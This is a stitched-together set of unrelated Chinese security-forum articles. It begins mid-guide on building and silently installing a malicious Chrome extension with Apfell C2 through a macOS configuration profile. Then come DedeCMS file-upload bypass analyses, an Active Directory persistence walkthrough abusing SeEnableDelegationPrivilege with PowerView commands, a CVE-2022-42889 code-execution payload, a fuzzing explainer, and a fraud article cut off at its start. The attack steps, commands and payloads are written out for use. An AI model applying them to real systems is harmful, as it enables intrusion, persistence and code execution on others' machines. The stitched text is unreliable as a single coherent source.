1、在初始化配置方面，大家可以参考[此处](https://github.com/its-a-feature/Apfell)的apfell文档。启动apfell服务器后，我们可以注册一个新用户，将自己设置为管理员（admin）。接下来，我们需要将[apfell-chrome-ext-payload](https://github.com/xorrior/apfell-chrome-ext-payload)以及[apfell-chrome-extension-c2server](https://github.com/xorrior/apfell-chrome-extension-c2server)工程clone到apfell服务器上。
2、转到`manage operations -> payload management`页面，该页面中定义了`apfell-jxa`以及`linfell`载荷。每个载荷都定义了几条命令，我们可以在控制台中修改这些命令，然后在agent中（这里指的是`apfell-jxa`以及`linfell`）更新这些命令。在载荷页面左下角有一个“import”按钮，我们可以使用json文件导入自定义载荷以及每条命令。为了节约大家时间，我提供了一个[文件](https://gist.github.com/xorrior/e1d5b1efb59d27f30ea808fab4400df1)，大家可以直接导入，创建载荷。如果成功导入，我们可以看到名为`chrome-extension`的一类新载荷，其中包含一些可操作命令。
3、现在我们在apfell服务器上打开一个终端会话，转到`apfell-chrome-extension-c2server`项目。运行`install.sh`脚本安装golang并编译服务端程序，然后验证`server`程序已编译成功，并且位于`$HOME/go/src/apfell-chrome-extension-c2server`目录中。
4、转到`Manage Operations -> C2 Profiles`，点击页面左下角的`Register C2
profile`按钮。这里我们需要输入profile的名称、描述以及支持的载荷。我们还需要上传与扩展程序对应的C2服务器程序（`$HOME/go/src/apfell-chrome-extension-c2server/server`）以及C2客户端代码（`./apfell-chrome-ext-payload/apfell/c2profiles/chrome-extension.js`）。
5、一旦profile提交成功，页面就会自动更新，显示新加入的profile。
6、回到apfell服务器上的终端会话，编辑`c2config.json`文件，根据需要设置相关选项。
7、将`c2config.json`拷贝到`apfell/app/c2profiles/default/chrome-extension/`目录中。将服务器程序重命名为`<c2profilename>_server`，我们需要执行该操作才能在apfell
UI中启动C2服务器。现在我们可以在apfell中启动C2服务器。
8、转到`Create Components -> Create Base Payload`。在C2 profile和载荷类型中选择`chrome-extension`，填入所需的参数（主机名、端口、端点、SSL以及间隔时间），输入所需的文件名然后点击提交按钮。如果一切顺利，页面顶部就会显示一则成功消息。
9、转到`Manage Operations -> Payload Management`下载载荷。现在我们已成功构造扩展程序载荷以及C2
profile，我们可以导出这些载荷，以便后续使用。
10、将载荷的所有代码拷贝粘贴至chrome扩展项目文件中（`./apfell-chrome-ext-payload/apfell/extension-skeleton/src/bg/main.js`）。编辑`extension-skeleton`目录中的`manifest.json`文件，替换其中所有的`*_REPLACE`值。如果我们没有使用自动更新功能，可以不设置`update_url`值。
11、打开Google Chrome，点击`More -> More Tools -> Extensions`，然后切换到开发者模式。点击`pack
extension`，然后选择`apfell-chrome-ext-payload`项目中的`extension-skeleton`目录。再次点击`pack
extension`，然后Chrome就会生成带有私钥的`.crx`文件。需要注意的是，我们需要保存好私钥，才能更新扩展。
12、我们需要知道的最后一个信息就是应用ID。不幸的是，获取该信息的唯一方法就是安装扩展，然后记录下扩展页面上显示的ID值。我们可以将扩展文件（`.crx`）拖放到扩展页面进行安装。
13、现在我们已经获取创建移动配置文件所需的信息，可以托管manifest更新文件以及crx文件。我们需要在manifest更新文件中加入应用ID以及指向crx文件的url，然后在[移动配置示例文件](https://gist.github.com/xorrior/8ee611d4f91b91f03ec16bed1324be56)中添加应用id及`update_url`。此外，我们还需要填入两个不同的UUID值。
14、现在我们已配置完毕。如果一切配置正常，那么安装移动配置描述文件后就可以静默安装扩展程序，也能在apfell的回调页面中添加一个新的回调（callback）。大家可以参考前面的“载荷投递”内容了解如何安装profile。
大家可以参考[此处](https://vimeo.com/316165337)视频观看如何通过移动配置描述文件安装恶意chrome扩展程序。
## 五、检测方法
在前文中，我们简单介绍了投递chrome扩展的一种机制，可以通过移动配置描述文件实现扩展的静默及隐蔽安装。从防御角度来看，检测这类投递机制应该重点关注`profiles`命令及相关参数。这种检测机制对已经获得受害主机访问权限的攻击者而言非常有效。作为参考，这里给出安装profile的示例命令：`profiles
install -type=configuration -path=/path/to/profile.mobileconfig`。
相应的`osquery`规则类似于：`SELECT * FROM process_events WHERE cmdline=’%profiles
install%’;`。对于企业环境来说这可能不是最佳答案，但的确行之有效。另外还要注意一点，`osquery`现在已经包含了一个chrome扩展[表](https://osquery.io/schema/3.3.2#chrome_extensions)。此外，当用户通过UI安装profile时，`MCXCompositor`进程会将一个二进制plist写入`/Library/Managed
Preferences/username/`目录中。这个plist文件是移动配置描述文件的一个副本，文件名由配置描述文件中的`PayloadType`键值决定。
可能还有其他数据来源，能够更加可靠地检测使用移动配置描述文件的攻击技术，这里我们抛砖引玉，希望大家继续研究。
在获得初始访问权限及持久化方面，我们可以考虑使用Google Chrome扩展程序。红队人员及安全研究人员可以进一步研究Chrome
API，了解更多可用功能。 | 社区文章 |
**作者：天融信阿尔法实验室
原文链接：<https://mp.weixin.qq.com/s/tLyoN9JYRUAtOJTxWEP8DQ>**
## 0x01 前言
前段时间看到有篇文章是关于DedeCMS后台文件上传(CNVD-2022-33420)，是绕过了对上传文件内容的黑名单过滤，碰巧前段时间学习过关于文件上传的知识，所以有了这篇文章，对DedeCMS的两个文件上传漏洞(CVE-2018-20129、CVE-2019-8362)做一个分析。
## 0x02 简介
DedeCMS简介：DedeCMS由上海卓卓网络科技有限公司研发的国产PHP网站内容管理系统；具有高效率标签缓存机制；允许对类同的标签进行缓存，在生成
HTML的时候，有利于提高系统反应速度，降低系统消耗的资源。众多的应用支持；为用户提供了各类网站建设的一体化解决方案，在本版本中，增加了分类、书库、黄页、圈子、问答等模块，补充一些用户的特殊要求。
## 0x03 DedeCMS V5.7 SP2前台文件上传(CVE-2018-20129)
### 01 漏洞复现
复现环境：phpstudy、DedeCMS V5.7 SP2、php5.6.9
前提条件：会员模块开启、以管理员权限登录。会员模块默认情况下是不开启的，需要管理员在后台手动。
登录到前台以后找到内容中心，发表一篇文章，点击下面编辑器中找到上传图片按钮，其实这里原本想实现的功能就是一个简单图片上传的功能。
然后使用BurpSuite抓包，把文件名称从1.png改成1.png.p*hp，然后放包上传。
在响应信息中得到上传文件的保存地址，并且文件的后缀也是PHP。
但是当我们尝试去访问这个文件时会发现有的文件是不解析的，这跟我们上传的文件有关系，这个问题我们后面再解释。
上传的脚本文件可以正常利用。
### 02 漏洞分析
从抓取的数据包可以看到提交路径是/dedecmsgbk/include/dialog/select_images_post.php，跟进这个文件看一下进行了怎样的处理。
在select_images_post.php文件中的第36行，对文件名称进行了正则替换，正则会匹配`回车符、换行符、制表符、*、 % 、/ 、？、<、>、
|、 “、 ：、`并至少匹配1次，把匹配到的内容替换成‘
’（空），因为我们通过抓包把文件名称改成了1.png.p*hp，所以经过替换会变成1.png.php。
紧接着在第38行对文件名称再次验证，文件名中只需要存在jpg、gif、png中任意一个，如果不存在程序就会提示错误信息，但这里有一个非常大的缺陷，就是程序只是验证文件名称中存在jpg、gif、png三个中的任意一个，并不是在验证文件的后缀。所以我们上传的文件名称1.png.php是可以绕过这个限制的。既然这个限制这么轻松就可以绕过，那我们可不可以直接把文件名称改成1.png.php，而不是1.png.p*hp呢？这个问题最后会进行解答。
程序在第44行对上传文件的MIME类型进行验证，这里进行白名单验证，在`$sparr`数组中定义了六个允许上传的MIME类型，然后把我们上传文件的MIME去除两端空格并转变成小写得到`$imgfile_type`，然后判断`$imgfile_type`是否在数组`$sparr`，如果不存在程序就会提示错误信息。
漏洞的产生还有一个非常重要的原因，从第57行开始分析，用户的UserID拼接上'-'再拼接上一段随机字符形成`$filename_name`，`$mdir`是年(年份后两位)月日，`$mdir`跟`$filename_name`拼接形成`$filename=$mdir/$filename_name`，然后使用explode函数按照'.'分割文件名`$imgfile_name`，形成数组`$fs`内容（'1'，'png'，'php'），然后取出数组中的最后一个元素拼接到了`$filename_name`参数后面组成文件名，而数组的最后一个元素正好是PHP，所以PHP文件就可以上传了。
并且在最后也可以看到完成的路径。
程序的最后就是把上传文件的信息保存到了数据库中。
### 03 遗留问题
上面我们留下了两个疑问：1.直接上传PHP文件可不可行，2.为什么部分脚本文件上传失效。接下来我们将解决这两个问题。
**1.直接上传PHP文件可不可以**
从返回信息中可以看到，不允许我们上传这种类型的文件，在select_images_post.php文件中包含了config.php文件，config.php文件包含了common.inc.php文件，common.inc.php文件包含了uploadsafe.inc.php文件，在uploadsafe.inc.php文件的第33行对文件的后缀进行了验证，定义了一些禁止上传的文件后缀`$cfg_not_allowall`，所以直接上传PHP文件是不可以的，上传PHP文件要配合
select_images_post.php文件中替换为空的操作进行利用。
这里的提示信息跟上面我们看到的是一样的。并且在这里面也发现了验证MIME类型。
**2.为什么部分脚本文件上传不能利用**
通过观察我们上传的PHP脚本文件，可以发现脚本文件被二次渲染了。比如这个：
但是对于PNG图片把恶意代码插入的IDAT数据块的脚本文件可以避免被二次渲染，并且可以成功利用。
并成功执行命令。
### 04 漏洞修复
**修复方式一：**
在给文件名拼接后缀时，对后缀进行二次验证。
比如说在select_images_post.php的第60行添加如下代码。
-1]`会取出最后一个数组成员php，而`$cfg_imgtype`是`jpg|gif|png`，不包含，所以程序提示报错信息，上传失败。
**修复方式二：**
在官方DedeCMS
V5.7.93版本中，uploadsafe.inc.php文件中由原先只要文件名中包含`$cfg_not_allowall`参数定义的这些文件后缀，改成了使用pathinfo()方法获取文件的后缀，然后判断后缀是否存在黑名单中，按照之前的文件名来说的话，这里获取的后缀是p*hp，依然不在黑名单数组中。
因为更新迭代，此时的富文本编辑器中的数据提交到了select_images_post_wangEditor.php文件中，这里的正则匹配特殊字符替换成空，但是这里的文件后缀也采用pathinfo()方法获取文件后缀，之前文件名1.png.p*hp经过特殊字符替换成空，然后pathinfo()方法获取获取到的文件后缀为php，这里的白名单`$cfg_imgtype`是`jpg|gif|png`，显然php并不在其中，所以返回提示信息"您所上传的图片类型不在许可列表"。
官方已修复该漏洞，请注意升级。补丁链接： <https://www.dedecms.com/download>
### 05 漏洞总结
从上面可以知道上传`p*hp`后缀的原因是在正则替换之前存在着一个黑名单验证，传入`p*hp`后缀后可以绕过这个黑名单验证然后被正则把*替换为空，而文件后缀获取时会取出最后一个数组成员php，并没有进行二次验证，所以造成了这次文件上传漏洞的产生。
## 0x04 DedeCMS V5.7 SP2后台文件上传(CVE-2019-8362)
### 01 漏洞复现
复现环境：phpstudy、DedeCMS V5.7 SP2、php5.6.9
首先准备一个压缩包1.zip，压缩包里面的文件名为1.jpg.php，文件内容为：
安装完成之后登录到系统后台，默认账号/密码是admin/admin，点击在左侧当导航栏中的核心按钮，然后选中附件管理中的文件式管理器，进入其中的soft目录中。
然后把之前准备好的压缩包上传上去。
然后访问album_add.php文件发布新图集，这里需要提前创建一个图集主栏目，上传方式选择从ZIP压缩包中解压图片，选择之前上传的1.zip。
上传完成之后，我们点击预览文档。
然后就会跳转到前台页面，点击下面的testZip。
当点击testZip，页面跳转，之前压缩包内的1.jpg.php里面的代码会执行。
我们来看一下这里正常上传图片的效果，当压缩包内是图片的话，这个会显示出图片，至于链接的话就是查看图片的链接。
### 02 漏洞分析
使用burpSuite抓包，发现提交到了album_add.php文件，在/dede/album_add.php中找到这个文件，跟进程序看到底是怎么处理的。
album_add.php文件的前半部分都是一些验证赋值操作，或者是验证关于相关栏目的信息，但是因为上传的时候选择的是从压缩包中解压图片，所以`$formzip`参数值为1，这个后面会用到。
因为`$formzip`参数值为1，所以会解压压缩包中的图片，其实可以发现在程序的173行调用ExtractAll()方法完成解压操作，传入`$zipfile`和`$tmpzipdir`两个参数，`$zipfile`是压缩包的保存路径，`$tmpzipdir`是创建出来存在解压文件的路径。
跟进到ExtractAll()方法，查看程序的下一步执行。
在程序第309行会调用get_List()方法获取压缩包中的信息。
这里要提一下ReadCentralFileHeaders()方法，在这个方法中会读取到压缩包中的文件名等信息。
然后回到ExtractAll()方法，接着调用Extract()方法解压单个文件，这个方法中也会调用ReadCentralFileHeaders()方法读取到压缩包中的文件名等信息，然后在361行调用ExtractFile()方法，并把获取压缩包中文件信息(`$header`)、压缩包路径(`$zip`)、创建的目录(`$to`)这三个参数一起传入。
ExtractFile()方法中的大致流程就是首先会创建的目录下面创建一个gz文件，文件名称是`$header[‘filename’].gz`拼接的，也就是1.jpg.php.gz，接下来在创建一个`$header[‘filename’]`文件，此时这个文件名就是1.jpg.php，再把读取到的内容写入进去，这个过程中并没有对内容进行校验。
从调试中可以看到，写入的内容就是上传压缩包中文件的内容``，最后删除gz文件。完成解压。
完成解压之后程序回到album_add.php文件中，在程序第176行，程序调用了GetMatchFiles()方法，并且传入了三个参数，分别是`$tmpzipdir`、`jpg|png|gif`、`$imgs`。
回到album_add.php文件。此时的`$imgs`就是读取到的文件名，此时会进行循环操作，循环中首先会组成一个保存路径`$savepath`，是由`$cfg_image_dir`拼接上年月组成，`$iurl`是由`$savepath`进行一系列的拼接组成，最关键的点是在程序的第184行，取出`$imgold`参数的最后四个字符，`$imgold`就是GetMatchFiles()方法读取到的文件路径，其中最后四个字符就是`.php`，然后拼接在`$iurl`上面，`$cfg_basedir`跟`$iurl`组成文件名，所以此时的文件后缀就是php，然后利用copy()方法，把`$imgold`中的内容复制到`$iurl`中，并且删除之前创建的ziptmp中的目录，最后就是进行一些图片的尺寸以及数据库的操作。
程序继续向下进行，在第209行，会把`$iurl`参数参入到数据库中，就是把发表的信息都存入到数据库中。
最后如果选择删除压缩包，会把压缩包删除，再通过RmDirFiles()方法删除对应创建的目录`$tmpzipdir`。
当前台调用的时候可以发现跳转的链接，点击超链接进入。
当要点击标题链接时，在左下角也会发现同样的URL，这个URL就是我们保存的PHP文件的路径。
并且从代码中我们也可以看见，这个链接是写死在HTML文件中的。
所以点击链接就会跳转到PHP文件，执行文件中的代码。
### 03 漏洞修复
我们把/dede/file_class.php中第161行代码修改成：
else if (in_array(pathinfo($filename, PATHINFO_EXTENSION), explode("|", $fileexp),true) === TRUE)
这里之前是验证文件名，现在改成验证文件后缀，后续就会验证文件后缀是否存在`$fileexp`中了。
最新版中使用pathinfo()方法获取到文件的后缀，然后判断是否后缀是否在白名单数组中。然后再重复一次之前的上传流程，此时在这个断点处可以看到，php后缀并不满足判断条件，所以此时的文件名并不就加入到`$filearr`中，`$filearr`数组就是当时作为参数传入的`$imgs`数组，因为`$imgs`为空数组，所以接下来的循环复制操作也就不会执行了。
官方已修复该漏洞，请注意升级。补丁链接： <https://www.dedecms.com/download>
### 04 漏洞总结
在分析过程中可以看到，对于压缩包中文件的后缀并没有进行验证，文件后缀的获取也没有进行二次验证，而是直接获取文件名称的最后四个字符拼接上去，最终造成了文件上传漏洞的产生。
## 0x05 总结
从上面两个实例中可以看到，第一个漏洞有用到黑名单验证，但并不是验证的文件后缀，两个漏洞都用白名单对文件名进行了验证，保存文件时对于文件后缀的获取并没有进行二次验证，而是直接获取拼接，所以才会造成文件上传漏洞的产生，造成系统的Getshell。对于上传文件其实也要对内容进行验证的，并且这两个地方本来都是上传图片的功能，验证上传文件的头部信息，对上传文件进行二次渲染，在保存文件时对后缀进行二次验证，这样就可以极大程度的避免文件上传漏洞的产生。
* * * | 社区文章 |
# SeEnableDelegationPrivilege
`SeEnableDelegationPrivilege`是在域控制器的本地安全策略中控制的用户权限，并通过组策略进行管理。该权限配置在本地策略中的用户权限分配，策略名为：`信任计算机和用户帐户可以执行委派"`。
如果得到一个拥有此权限的域用户，那么就可以通过设置委派来攻击域控或者当你得到域控权限的时候通过给某用户添加`SeEnableDelegationPrivilege`来进行域控权限维持，下文将讲解一下利用过程。
**注：** 更多权限请查看微软手册：<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn221963(v=ws.11)?redirectedfrom=MSDN>
## 寻找域中分配了SeEnableDelegationPrivilege的用户
### GPO
域上一般默认有两个GPO：`Default Domain Policy`和`Default Domain Controllers
Policy`，这只是他们显示的名称，他们实际名称为它们的GUID，分别为：`{31B2F340-016D-11D2-945F-00C04FB984F9}`和`{6AC1786C-016F-11D2-945F-00C04fB984F9}`
可以通过powerview枚举域中的所有GPO
Get-DomainGPO
查找指定GPO
Get-DomainGPO -Identity "Default Domain Controllers Policy"
其中`gpcfilesyspath`为该GPO策略文件的位置。
我们可以通过`GPO`为`Default Domain Controllers
Policy`的`GptTmpl.inf`文件来寻找域中哪些用户（组）分配了`SeEnableDelegationPrivilege`，`GptTmpl.inf`文件位于`\\<domain>\SYSVOL\<domain>\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows
NT\SecEdit\GptTmpl.inf`
type "\\test.local\SYSVOL\test.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
### secedit
还可以通过secedit来查看，和GPO一个道理
**注：** secedit为组策略的命令行版本
secedit /export /cfg secpolicy.inf /areas USER_RIGHTS
参数：
`/export`：导出组策略
`/cfg`：指定安全模板的路径和名称
`/areas`：指定允许系统的安全区域，我们这里是`USER_RIGHTS`：指定登录用户的权限和允许特权
### powershell
powershell的话可以使用`UserRights`，下载地址：[地址](https://gallery.technet.microsoft.com/scriptcenter/Grant-Revoke-Query-user-26e259b0)
另外还可以使用powerview
$p = Get-DomainPolicy -Source DC
$p["Privilege Rights"]
## 指定用户添加SeEnableDelegationPrivilege
默认情况下，只有`BUILTIN\Administrators`的成员（即`Domain Admins/Enterprise
Admins/etc`）拥有`SeEnableDelegationPrivilege`权限，普通用户是没有此权限的，所有下面将列举给普通用户添加`SeEnableDelegationPrivilege`权限的方法。
### GPO
通过修改`{6AC1786C-016F-11D2-945F-00C04fB984F9}`的`GptTmpl.inf`文件就可以给指定用户添加`SeEnableDelegationPrivilege`权限。
将用户SID或用户名添加到`[Privilege
Rights]`下的`SeEnableDelegationPrivilege`中，当DC重启或者刷新其组策略时，该设置就会生效。
添加之后刷新组策略让其设置生效
gpupdate /force
使用`powerview`验证是否成功添加
$p = Get-DomainPolicy -Source DC
$p.PrivilegeRights
"S-1-5-21-662417213-3583657854-423750704-1001" |Convert-SidToName
### secedit
导出配置文件
secedit /export /cfg secpolicy.inf /areas USER_RIGHTS
导出之后，在`[Privilege Rights]`项下的`SeEnableDelegationPrivilege`添加用户的SID或者用户名
将修改之后的配置覆盖掉当前设置
secedit /configure /db secedit.sdb /cfg secpolicy.inf /overwrite /areas USER_RIGHTS
### powershell
使用UserRight给指定用户添加权限
Grant-UserRight -Account qiyou -Right SeEnableDelegationPrivilege
验证
Get-AccountsWithUserRight -Right SeEnableDelegationPrivilege
## 寻找一个受害者
当得到`SeEnableDelegationPrivilege`权限之后，我们需要寻找一个域内对象来做为受害者（也可以是自己），这里就以其它用户`test`为例
**注：** 如果受害者是自己那么不用接下来的这些操作了，直接设置委派就可以了
添加对指定用户的完全访问权限，这添加`qiyou`对`test`的完全访问权限
Add-DomainObjectAcl -TargetIdentity 'f9f0db29-83b3-4a0c-8966-e1db3371d028' -PrincipalIdentity qiyou -Rights All
验证权限
Get-DomainObjectAcl -Identity test | ?{$_.SecurityIdentifier -match "S-1-5-21-662417213-3583657854-423750704-1001"}
可以看到用户`qiyou`对用户`test`已经拥有了完全访问权限`GenericAll`，这时候我们可以不知道用户test密码情况下强行更改用户test的密码、注册SPN等等。
现在切换到登陆了`qiyou`这个用户的另外一台域内主机
以`qiyou`的身份给用test注册SPN和修改密码
然后给用户test设置约束委派
Import-Module .\Microsoft.ActiveDirectory.Management.dll
$user = Get-ADUser test
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/test.local")}
验证是否成功添加
Get-DomainUser –TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
然后就可以通过约束委派去攻击域控了，关于约束委派攻击可以参考这篇文章：[地址](https://xz.aliyun.com/t/7217)，我这里就不多赘述了
# Reference
<https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/>
[https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn221963(v=ws.11)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn221963\(v=ws.11)?redirectedfrom=MSDN) | 社区文章 |
**作者：xxhzz@星阑科技PortalLab
原文链接：<https://mp.weixin.qq.com/s/5B8MjKNB9UrsV6D-dKwTng>**
# **前言**
最近一直在对刚研发出来的自动化Web/API漏洞Fuzz的命令行扫描工具进行维护更新（工具地址：<https://github.com/StarCrossPortal/scalpel>），目前扫描工具已更新至第三个版本，新增了5条2022年CVE漏洞POC，修复了例如Content-Type和body类型不一致等问题。最新版本测试稳定，满足Web/API的漏洞Fuzz和多场景的漏洞检测，欢迎大家试用。
在维护更新扫描器POC库时，笔者看到了这个被称为“Textshell”的CVE漏洞，决定学习分析一波。
# **项目介绍**
Apache Commons Text 是一个低级库，用于执行各种文本操作，例如转义、计算字符串差异以及用通过插值器查找的值替换文本中的占位符。
# **漏洞描述**
2022年10月13号，官方发布了Apache Commons Text的漏洞通告，漏洞编号：CVE-2022-42889。Apache Commons
Text
执行变量插值，允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”，其中“prefix”用于定位执行插值的。org.apache.commons.text.lookup.StringLookup
的实例。从 1.5 版到 1.9 版，攻击者可构造恶意文本，使得Apache Commons Text 在解析时执行任意恶意代码。
# **利用范围**
1.5 <= Apache Commons Text <= 1.9
# **漏洞分析**
## **环境搭建**
IDEA 通过Maven导入依赖
pom.xml如下：
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.7</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
<version>3.12.0</version>
</dependency>
</dependencies>
测试代码：
package org.text;
import org.apache.commons.text.StringSubstitutor;
public class Main {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
// String payload = interpolator.replace("${script:js:new java.lang.ProcessBuilder(\"calc\").start()}");
String payload = "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}";
interpolator.replace(payload);
}
}
JDK版本1.8
## **动态分析**
在代码分析之前，我们先看看官方用户手册（<https://commons.apache.org/proper/commons-text/userguide.html>）中的内容。
这里演示了使用默认查找StringSubstitutor来构造复杂字符串的用法，而漏洞描述中的关键所在就是执行变量插值，其标准格式是${prefix:name}。
参考下 StringLookupFactory的文档（<http://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html>）
自从1.5版本之后，可以满足script类型的字符串查找，但是并不是默认包括的。
将代码定位到
org.apache.commons.text.lookup.InterpolatorStringLookup#lookup
这里lookup方法会提取”:“后的部分作为 prefix 值，然后根据 stringLookupMap 提取其对应的 lookup 实例化对象。
到org.apache.commons.text.lookup.ScriptStringLookup#lookup中。
调用ScriptEngineManager执行代码。
了解了漏洞后半部分，打下断点，动态调试一下，看看如何调用lookup方法。
org.apache.commons.text.StringSubstitutor#createInterpolator
这里就是实例化了StringSubstitutor 并向其中传入
StringLookupFactory.INSTANCE.interpolatorStringLookup()
org.apache.commons.text.StringSubstitutor#replace
对参数转换类型，然后传入 substitute 处理，后续将经过一系列判断检查。
最后传入resolveVariable
org.apache.commons.text.StringSubstitutor#resolveVariable
在getStringLookup的值之后，就会直接到org.apache.commons.text.lookup.InterpolatorStringLookup中调用lookup方法。
到这里，正如开头所分析的那样lookup方法会提取”:“后的部分作为 prefix 值，然后根据 stringLookupMap 提取其对应的 lookup
实例化对象，最后通过调用ScriptEngineManager执行代码。
# **漏洞复现**
当然，网上已经有很多大佬对这个进行了分析，此漏洞与Log4Shell (CVE-2021-44228)其实是不同的，因为在 Log4Shell
中，可以从日志消息正文中进行字符串插值，该正文通常包含不受信任的输入。在 Apache Common Text issue
中，相关方法明确用于执行字符串插值并明确记录在案，因此应用程序不太可能在没有适当验证的情况下无意中传递不受信任的输入。
# **漏洞检测工具**
**工具地址：**<https://github.com/StarCrossPortal/scalpel>
**已更新：**
目前扫描工具已更新至第三个版本，新增对CVE-2022-0885、CVE-2022-1054、CVE-2022-1392、CVE-2022-21500、CVE-2022-23854漏洞的检测，已内置100+漏洞POC，修复了例如Content-Type和body类型不一致等问题。最新版本测试稳定，满足Web/API的漏洞Fuzz和多场景的漏洞检测。
**持续更新：**
漏洞POC、扫描工具漏洞检测优化（检测逻辑，满足对需要连续数据包关联操作漏洞场景的检测）
* * * | 社区文章 |
# Fuzzing(模糊测试)的前世今生（中）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在上一篇《Fuzzing(模糊测试)的前世今生（上）》中，我们讲解了模糊测试技术的由来，本篇我们重点为大家阐述一下模糊测试的技术原理和底层算法。
## 1.模糊测试的技术原理
模糊测试是一种发现软件漏洞非常有效的技术，通过它可以提高软件的安全性和健壮性，也是软件开发生命周期SDLC框架的重要组成部分。它的工作原理是通过提供大量畸形数据输入给被测程序，触发程序的崩溃或异常执行状态。通常情况下，它的工作流程包含如下6步：
步骤一：识别目标系统
在对模糊测试工具或技术做出选择时，我们需要先确定被测对象，了解被测对象的类型，比如被测目标是客户端程序还是服务端程序，二进制还是源代码，被测对象是否出现过漏洞等，了解清楚之后我们才可以有效地给出准确的测试计划。
步骤二：识别输入
大部分可被利用的安全漏洞都是由于应用程序没有对用户的输入进行校验或没有对非法输入进行处理而造成的。是否能找到所有的输入向量 (Input vector)
是模糊测试能否成功的关键。寻找输入向量的原则是：向目标应用发送的任何东西，例如头 (Headers)、文件名 (File Name)、环境变量
(Environment variables)，注册表键 (Registry keys)，以及其他信息，都可能是潜在的模糊测试变量。
步骤三：生成模糊数据
一旦识别出输入向量，就可以生成模糊测试数据。可依据测试对象的特征，制定相应的模糊测试数据生成策略。通常，可通过生成或变异己有的数据，利用程序动态运行时产生的临时数据，动态生成数据。
步骤四：使用模糊数据执行测试
执行过程可能包括发送数据包给目标应用程序、打开一个文件或发起一个目标进程。同样，这个过程中的自动化也是至关重要的。没有自动化，便无法执行真正的模糊测试。
步骤五：监控系统行为
在模糊测试的过程中，我们要实时监控故障或异常，及时发现问题，这是模糊测试过程中一个至关重要的环节。试想一下，对程序进行模糊测试的过程中，当执行某个测试用例目标程序发生异常时，倘若没有异常监视模块，测试人员或许根本不知道目标程序发生了异常，更无法找出触发异常的样本及相关信息，整个测试过程将会毫无意义。由于模糊测试过程周期较长，当测试用例的数目较多时，通过人工的方式监视目标软件是非常低效的，所以目前异常监视往往采用自动化的方式来实现，其中常用的异常监视技术依据原理分为两种：基于调试的方法和基于插桩的方法。
基于调试的方法意在调试模式下启动目标软件，通过操作系统平台提供的调试API,开发有针对性的异常监测模块。此方法实现异常监视难度虽大，但更高效。相较于基于调试的方法，基于插桩的方法虽性能有所降低，但功能却异常强大。插桩技术是指在保证原有程序逻辑完整性的基础上，在程序中插入探针，通过探针采集代码中的信息（方法本身、方法参数值、返回值等）并在特定的位置插入代码段，从而收集程序运行时的动态上下文信息。目前常用的插桩方法分为静态代码插桩（源代码、中间码、二进制）和二进制代码动态插桩。
步骤六：记录缺陷，确定可利用性
一旦确定被测目标存在故障，则需要确定所发现的bug是否可复现，重现故障最常用的手段就是重放检测，即调用数据包重放工具将转储的网络数据包进行重放。重现成功后，还需进一步判断该bug是否可被利用。
## 2.模糊测试生成种子方法
现阶段模糊测试用例的生成一般分为两类：基于生成和基于变异，总体可涵盖为诸如符号执行、污点分析、覆盖引导、语法树变异、遗传变异等。
a.基于符号执行的方法
该方法的核心思想是以测试用例为符号值，在处理过程中搜索测试路径上的核心约束信息。通过约束求解生成一个新的测试用例，以覆盖不同的程序执行路径。这种方法适用于测试结构简单、执行路径少的程序。但是，程序的复杂性随着功能的多样化而增加，导致路径数量的爆炸式增长。由于复杂的约束求解问题，符号执行很难应用于构建复杂的程序测试用例。
b.基于污点分析的方法
该方法的核心思想是利用动态污点分析技术标记输入数据的污染源，关注污点的传播过程，从中提取关键污点信息，并利用污点信息指导生成种子变异和相关测试用例。它是为程序中的一些关键执行路径构建测试样本的有效方法，并且具有良好的代码覆盖率，例如Angora。然而，随着遗传算法和神经网络在模糊测试中的应用，污点分析技术逐渐显露出低效这一弱点。
c.基于遗传变异的方法
遗传变异算法利用生物进化的一些核心规则来指导模糊测试样本的生成。目前，遗传算法是应用最广泛、性能最好的进化算法，其核心思想是对测试用例进行多轮迭代变异，剔除不符合要求的测试用例或从中选出性能最好的样本作为下一轮变异的种子。遗传算法不仅可以生成新的测试用例，还可以简化样本集，从而进一步提高模糊测试的效率。
d.基于覆盖引导的方法
覆盖引导的模糊测试是一种有效的测试技术，它已从各种软件应用程序中检测到了十万个缺陷。它专注于最大化代码覆盖率，以在模糊测试期间发现更多缺陷。AFL工具就采用了该技术。
图 覆盖引导的模糊测试
e.基于语法树变异的方法
语法树是源代码语法结构的一种表示，它以树状的形式表现编程语言的语法结构，树上的每个节点都表示源代码中的一种结构。而语法树变异是基于变异生成种子文件相应的语法树，然后以其子树为对象进行替换操作。替换的材料可能由用户指定，也可能由系统按照一定规则自动生成。
如上技术都是在模糊测试中得到广泛应用的技术，众多技术的应用使得模糊测试技术有了更强的安全检测能力。
更多关于模糊测试应用实践的文章在下一篇中为大家讲解，敬请期待！ | 社区文章 |
# 骗钱骗感情，盘点年度“最无情”欺诈鬼话
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 贷款有“道”，非法“套现”就是你不对了
李先生通过网络发现了京东“白条”套现，套现流程为：使用京东“白条”购买指定商品并填写指定收货地址，对方收到商品后负责出售，商品款抽取8%佣金后，给用户返款92%。李先生购买手机后，对方以商家暂未付款、手机网络不好无法转账等理由拒不给用户返款，得知受骗。
### 专家解读：
